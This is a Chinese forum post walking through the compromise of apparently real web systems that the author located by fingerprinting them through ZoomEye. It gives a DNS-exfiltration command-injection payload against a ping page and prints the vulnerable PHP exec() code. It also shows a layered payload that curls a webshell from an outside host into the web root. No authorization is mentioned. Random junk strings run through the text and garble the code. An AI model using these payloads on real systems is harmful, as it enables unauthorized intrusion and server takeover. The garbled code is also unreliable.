中国网络渗透测试联盟

标题: Web安全之实战通过os命令注入漏洞getwebshell [打印本页]

作者: admin    时间: 2022-3-31 01:39
标题: Web安全之实战通过os命令注入漏洞getwebshell
[md]**一、7 d! j  D3 _3 |: O
** **寻找突破口**
' y; q2 Y* ^; e8 ^6 F
- O% ^  z6 c8 Q/ {0 v**经过右键查看源代码发现系统的特征为:images/select_bg.png,去钟馗之眼搜索如图:*** k, e( ]: Z$ ]
& P( b, G- C- {
![image.png](data/attachment/forum/202203/31/013456oll79nxwhwxz9h2l.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")- x, [6 n+ x& u- j6 `
9 @) ^% W' Y6 O9 f2 O' H) Q& ]

  w) {- q5 D: W2 d( H# u, ]& L! X& X
**发现reporter和[Technology,1 g& s; {" E$ E2 B9 N' Q2 d( B
Inc.](https://www.zoomeye.org/searchRe ... title:%22Technology,%20Inc.%22&t=all)都采用这个特征,然后一看之前搞过这样的系统,有源代码,对照源代码目录发现了未授权访问页面。**
3 G2 @' v' ]5 X( B0 f8 W3 Z
+ n, {4 g; N, a/ B2 d' c**地址为:**
7 H* J1 W2 a! i& Q  W# u8 u" C$ I0 O* w0 ^  f9 e
[http://1.1.1.1//view/systemConfi ... ;text_packetsize=64](http://1.1.1.1/view/systemConfig ... ;text_packetsize=64)**,如图:**# h" l8 \! R( Q0 v$ G- {7 C$ @; I
6 z& h' h( ]+ B# B1 C% ], P, g* ?; N
![image.png](data/attachment/forum/202203/31/013528hffsyjijhb58lhh5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
/ H7 N; z; d/ y! J, j
9 L" L0 F( ]' u: P, V" L9 A
( C- q. M$ c4 {& |" `0 S
( F8 F3 O, _" ^$ N**测试ping这里的功能,发现可以绕过ping正常功能执行命令,payload为:**1 Y" W! E6 K& D' ?' O( p
3 P. c1 d: c( o! U9 f! ~
**`whoami`.1111.ceye.io** **,如图:**
+ Q8 B& ~: t* _# B% L, d* k! {8 [
: Q( g" w* y+ S6 ?![image.png](data/attachment/forum/202203/31/013559bwl0r0lrgkpm8lrw.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
, P! v( d7 J0 n* O3 J2 `$ R2 h
* d( n  D' k& L$ D% v. B$ P$ Q) ^& ?0 a# Q" U' L
8 m* r2 u+ e! T* R
**返回dns记录如图:**" G6 K4 C1 @. a
  i, @! Q8 `. b4 S
![image.png](data/attachment/forum/202203/31/013625ei2ea2ealisblpsb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
, J' O2 n; b, F1 {0 Y
  C& c6 Q: E4 |$ M4 ]# Q. Z
) M6 i. N! x/ M7 i# y' m: b1 L3 g$ i( f+ O
**发现当前用户权限为root**
1 ]" q' y' M# t* N, q" Q! K: q, A/ K/ L& l( w$ Z2 L
**一、7 e# ?- {' e# p! u7 l5 k+ J% W
** **通过漏洞组合getwebshell**
% W- ?* g$ v& m, }
6 `: V* c9 N) W! n' K**    ** **文章就按照挖洞顺序往下写,紧接着执行pwd命令获取web路径,如图:**/ M7 t  V/ W6 j2 Y# O
% U3 o5 d3 x8 g2 s  i
![image.png](data/attachment/forum/202203/31/013656tl9z2765580yd7t8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
  n. A; o2 F$ k2 X( [# Z  n- L+ C% B; ^# k2 Z- W8 Y4 C

9 U# z2 t: G2 g  C: d9 s  s
+ i! l- k8 g- x, Z2 Z$ A4 G1 P4 T**得知网站路径为:/var/www/html/view/systemconfig/systemtool/**
' M2 D& ~2 b7 x9 n3 Q2 a2 R* u5 [% a' p! l
**正好利用burpsuite发现一处os命令注入漏洞与一处任意文件查看漏洞,如下图为任意文件查看漏洞截图**& E; M! M0 b% h, I5 I" A& k4 t
5 g( C+ W2 U3 M" ^* a
![image.png](data/attachment/forum/202203/31/013726cn3oj66ngggc6zz8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")0 H1 S: U! y% S) _! Y  ~2 t

8 F" z/ M' y) y7 r5 n**Os** **命令注入存的处为:/var/www/html/view/Behavior/toQuery.php,这个路径是通过第一步绕过ping命令正常功能执行命令漏洞获取到的,通过任意文件查看漏洞,我们读取一下源代码**
, Z/ i  k8 T9 ]
8 a# a1 N8 }  S5 n8 \: [![image.png](data/attachment/forum/202203/31/013749x0i8ilbkiuelle4e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")\
6 I! |: r; v/ i" J* {5 r
. g1 [3 F( J# |$ l$ v6 H) J2 e: ~$ _) h+ n- X6 t: s
**源代码为:**
5 T* N8 T' \4 a' \! |7 r7 [) Z$ h$ E+ v, g9 j7 d& L
<?php! q2 R  o- L& S2 ^; \/ {* c0 V
include_once($_SERVER["DOCUMENT_ROOT"]."/model/charFilter.php");
' H3 k* J  }6 N. X?>
' r" B4 v. t6 S. b# L( a5 p6 q6 P$ t
<?php
+ \% {4 p" _9 U. a& K1 O1 H8 b/ ?
5 b6 b4 c8 {( x5 Z  x

  K- u% {& P. z5 csession_start ();' R) [/ u% t/ ^
' p1 a. D! E: q1 Q4 \
+ a8 ~8 M! }8 j

; z& Y* q1 N; ?7 B$ o
4 N$ z+ N! X. @; o1 R" M8 n6 b3 i+ h

9 K* [# v2 P- a1 j4 [# y" ]5 C6 I9 }$ b2 F8 I
if ($_GET ["objClass"] == "")* C' G# [4 b* X  @3 @9 C& V, n
- m: |9 u# G* V7 g0 G

% Q9 j# [, h$ S; ]1 l: f( d* L7 }  n; B
      exit ();
' M* t& v# l, n& b. i8 J- S% C+ b! J9 h9 w+ E+ f( Z7 x3 X) F
! m8 u. \) S; ]! b9 A

; I0 p7 A+ `; ~0 H' U) L) t$param = $_REQUEST;
" e& p. W3 H% ^+ t2 Y, p3 N1 {8 Z1 E* H

; S: n( r5 z( a1 j( Y4 }8 Z- i  E" r( h8 V- _

2 |  `; u2 D1 K- Y8 o' r+ h$ G4 i+ \6 b; M8 @
, I: |4 N/ z+ K2 A; Z. t# p4 y, r
: z9 ^" S. [" |4 j+ p3 x
//echo "\n--------------------------\n";( \. b- b" ]. l- s

8 c4 L; O7 `: W% N' g
! y# b  I" l6 [
9 a3 Z1 W# l# D- A+ q//print_r($param);
2 `0 }) @/ n* p3 \7 q# E' B& F
, j0 g# f5 P2 f2 W- s! @9 v; G$ K& i; ^: K0 X

! @3 P, G8 R* A& A( @4 Q//echo "\n--------------------------\n";- I. M+ h: e& ^5 Q
1 p4 C8 U- ]$ n4 Z

3 l" t. N9 r" T  P  a. I
; J. r! W: K' }! h[if ($_GET ["method"] ==
9 `- b/ _/ `: n% J2 ]4 Q"getList" || $_GET ["method"] == "import" ||9 H' ]+ X# f$ K0 M9 I
$_GET ["method"] == "processAlarm") ](){
% b3 T# O* d3 A% `
+ t* k2 K/ p+ f3 |
$ U0 e' X9 z# L- i4 K2 |
4 N/ g5 e' m" {2 P- h  m! g      $param
; h7 n0 r9 r" p/ K3 S["user"] = $_SESSION ["s_userName"];
2 `% b) K9 d* W- ~1 G; h. C7 c0 X6 B
$ g" D- |( j' x, F& d7 A
) {6 d" \% S1 O1 ~- x' n
! X4 U+ i# t3 X) f! l      $param
+ d8 {- a3 Q. Y; o5 R8 c0 W["lan"] = $_SESSION ["lan"];8 {8 g: f0 D7 W& k. L

1 H+ u- f" x$ w2 n( U/ d% P- P2 [, J2 g8 `2 W4 ?6 l/ U

. M" K4 \8 Z# r* x7 d      $param
2 ?. X  r( H' M" G& b["regUserpath"] = $_SESSION ["regUserpath"];' i' g4 M6 _/ _# N! J" }' Y7 h
+ h, A) u4 g: m3 h9 x& a
' ^& _+ N8 H5 Z5 P0 x9 T
2 F& a$ R1 d, \, Y5 ?
   
  f6 F+ @, m% B6 S3 J0 t* [4 Q: Z+ g# N! S0 p

6 `5 M; a) g7 x" O% g+ x( {9 s6 t+ v/ a( z8 k: }4 A  I
      exec (: a) U6 d  ?1 }
"rm -rf /tmp/cache" );/ B& i8 [" U/ X1 g
+ z% f  r; ^& Q4 ~4 Z
9 _! L8 D6 \! j" N
$ X5 b! J5 M9 @+ v; @8 ^: r
      [$cmd = "/usr/local/php/bin/php ".$_SERVER
. m; t/ w  z' U# d: `& k["DOCUMENT_ROOT"] . "system/behavior/behavior_query.php";]()' i1 i. e6 e; x) i2 g+ B% E, f4 e$ c
$ e, D# l# K; E

  z9 [1 O' [& h0 }: A% z
: z1 ?7 t" M& R4 n3 u+ K      $cmd .=! V7 ]+ e. z% h* {$ N3 G$ _% [
" " . $_GET ["objClass"];
2 R( U& t: l- G2 N% J) C: D9 j$ f  M' P" Z; y& n" x

4 m: K3 C  E! Z* T0 a1 e& p* b% [: I2 _+ E3 t2 C
      $cmd .=4 D, W# ~' h! x6 V3 |- {- f
" " . $_GET ["method"];8 F1 i1 z- A: [: s$ u/ p0 n4 o
9 u* Z' u  E) G+ s7 E4 D4 }
" d8 p& E: y' ?, h. W* {* u; T
* Q9 Q+ n" L4 ?6 N) n' M
      $cmd .=# i/ A6 d" s- h/ ]: c3 F
" " . base64_encode ( json_encode ( $param ) );6 h% s2 Z5 a+ G+ j

2 V) o9 `1 |+ X% K- A- n4 k9 y0 ]" I2 f  r- B+ B

* B( F/ d4 a3 }- r$ I" K      [file_put_contents("/tmp/query_cmd",$cmd);]()/ `- Y2 x3 n9 K
; q, \) s9 Y7 f2 ?: m( G
' `6 Z. Z* m/ u/ G* O" ?- Z( v

6 C) _0 Q1 p/ j4 @" h2 {0 C  d      exec ( $cmd . "
) Z1 Y# }5 ^* I> /dev/null &" );9 [, \  Y. y& v' }

# @7 N2 M7 f7 e6 r% s
+ G  l. j4 t' n% i6 ?, X6 o! x" s2 q" n9 H
* P1 X& ]1 |8 j  T
% s& d5 x2 J$ Z; M. W% y" e; L
} else {
- q$ ?3 [3 s: J$ b( x
& s9 S5 t2 `' _6 M' o
! f8 Y7 u+ S; u5 s& u6 W/ j
* j9 D8 b5 a2 K. ~      require_once0 ?4 o, ]& E8 c1 S
($_SERVER ["DOCUMENT_ROOT"] . "system/behavior/behavior_Detail.php");
. v5 v0 M, _: G; C/ c% ?4 Q6 z7 p3 \) f" g" S
7 C* W- g8 Z3 o0 w! `
8 [+ C& c8 c# q3 ~2 m4 x7 f# K
      $obj = new% B) s; |) C6 o8 |$ @: i( @5 b  D
QueryInterface ();
) z* H5 V8 t  S5 c, i& K* h( K
: X; I! \6 m) l: p4 V
8 \) N9 k! B# y/ r& t" W
; N* {) R: I, X6 `# e  a      $instance =& T! B' D/ R* w- Q
$obj->getInstance ();1 G5 \' \6 _. N6 r: J, C
( G0 d" X" `) e

7 A! K7 Q2 G1 ]6 b  ^* M4 C  i# _7 P7 c& |$ O
      $instance->invokeMethod
3 ^# M2 Q4 g8 X+ ]) e4 P( $_GET ["objClass"], $_GET ["method"], $param );
8 i7 I' Y" n* ?- ^
( o+ n) D: J( U4 `
1 c: O3 b. r8 }! }) g
; [! o( v$ @+ V- k/ i% @  ?}$ M( s/ [  f; i0 B0 i

  H! @# \' {2 ?4 G5 A/ c: V
  X. \1 ]9 p. Q* A9 U, U6 ^( u2 R0 a& A
6 `& x- A. s& [' R5 S2 [9 D) nexit ();% B9 r" X" }( E" R
% f7 {2 ?$ h6 q  f
3 a# k+ W0 t& F5 n- p8 Y2 }

# q* ^. U2 O6 C?>  ?! l, T! S7 F; Y
. F+ {8 w& D6 l; t. x
**经常简单审计发现if ($_GET
: j' h/ L1 @  h! `9 W4 o6 O" X8 i["method"] == "getList" || $_GET ["method"] ==
0 P1 G; i4 o, B% h5 n3 o/ E/ }/ M"import" || $_GET ["method"] == "[processAlarm]()"),如果method只要等于getList、import、processAlarm这其中一个,$cmd =
" j/ }7 U$ d9 B$ n"/usr/local/php/bin/php ".$_SERVER ["DOCUMENT_ROOT"] .
6 E, f% }( Z: G) ?7 B"[system/behavior/behavior_query.php]()";  cmd等于web绝对路径+ system/behavior/behavior_query.php,然后file_put_contents("/tmp/query_cmd",$cmd);**
0 k7 e$ w8 o0 q1 J6 f5 \+ l0 S& f
2 g+ o4 s0 b9 f& _) B8 c9 U9 C**      exec ( $cmd
4 q5 ]! l6 e" }) S5 G4 o! a% h. "  > /dev/null &" );** **给我们构造了一个命令注入的参数,这里直接造成了OS命令注入漏洞,下面看我演示**3 z" c% Z& o' B6 s0 H
2 ~9 g$ x( h) y: u% w! M
, a$ \2 Y9 h4 A! q
![image.png](data/attachment/forum/202203/31/013842ceg7htegblnr4nnk.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png"): L/ |5 O2 j0 [0 ]. F. g2 R( h& t* w) u
2 L8 a& v- x2 P! O4 [
( d4 A8 J( z% Z- }! L. h: k) N4 C* }

7 ]+ x; [  O3 N4 j& D# d+ e" C**图中objClass=存在OS命令注入漏洞,我之前试图通过bash反弹shell,但是测试了一晚上没反弹成功,最后选择了curl下载webshell,payload如下:**
, t% T3 S3 r3 |# S, @0 u
5 ]6 y* [2 s7 a5 a**%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60pcurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%27%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60curl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%5C%22%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php**- B- G; F, v: q

3 K! @: a) [: U' w) B**我们用url解码如下:**. }/ }4 ^* ?: \0 E" F6 f- ^9 c# d

4 B% e- b) W! _( Z0 r**|curl http://1.1.1.1/qYCwxRz1.zip -o
# r0 N# g0 I% R/var/www/html/images/suiji2.php||`pcurl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #' |curl http://1.1.1.1/qYCwxRz1.zip -o' f- d: Z, u& t; k3 z5 y/ J
/var/www/html/images/suiji2.php||`curl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #\" |curl ** [**http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php**](http://8.136.218.186/qYCwxRz1.zi ... l/images/suiji2.php)2 ]* e+ R$ E4 @4 x
' s. A' N  v9 G# m
**使用这么多管道符|就是要闭合payload,最后成功curl下载webshell如图:**
; _; l- N4 \6 L; s% c! U9 d; t; v& I8 F* [

, I" Y$ t$ b3 H/ ?# g: Z![image.png](data/attachment/forum/202203/31/013922zdonl51onkonxqqz.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")/ e1 p+ E& W. N2 t" `- i2 R* G
9 e( R) a) ]9 w5 b8 F

8 d$ A- r0 w/ ^$ L7 m" F# x; M  x8 \* X$ t

% G& c9 W8 u# ^**三、总结**
3 W. K$ ?& P, K' m2 n( @5 j: x2 B% P$ N
**   ** **案例之所以最终获得webshell,很大程度上是取决于几个漏洞的组合,首先通过右键查看源代码找到目标系统使用的系统,因为之前测试过与目标类似的程序。然后“对症下药”找到了ping未授权访问页面,通过绕过ping命令正常功能执行pwd命令获取到网站绝对路径,其次,使用任意文件查看漏洞去读取疑似存在os命令执行漏洞的php进行简单审计,经过确认存在此漏洞,最后构造os命令执行payload,最终getwebshell,整个getwebshell过程就是一个漏洞的连环组合,渗透更多的时候是靠运气,如果这几个环节有一个环节漏洞不存在或者没挖到,可能导致getwebshell失败。**3 u  e) e1 Q7 C% d8 h5 g. D: d
) C! I4 f7 I7 T  e$ J
**   ** **综上所述,运气与挖洞功底同等重要,谢谢观看** **! **5 U9 I, e" s: w: H
[/md]




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2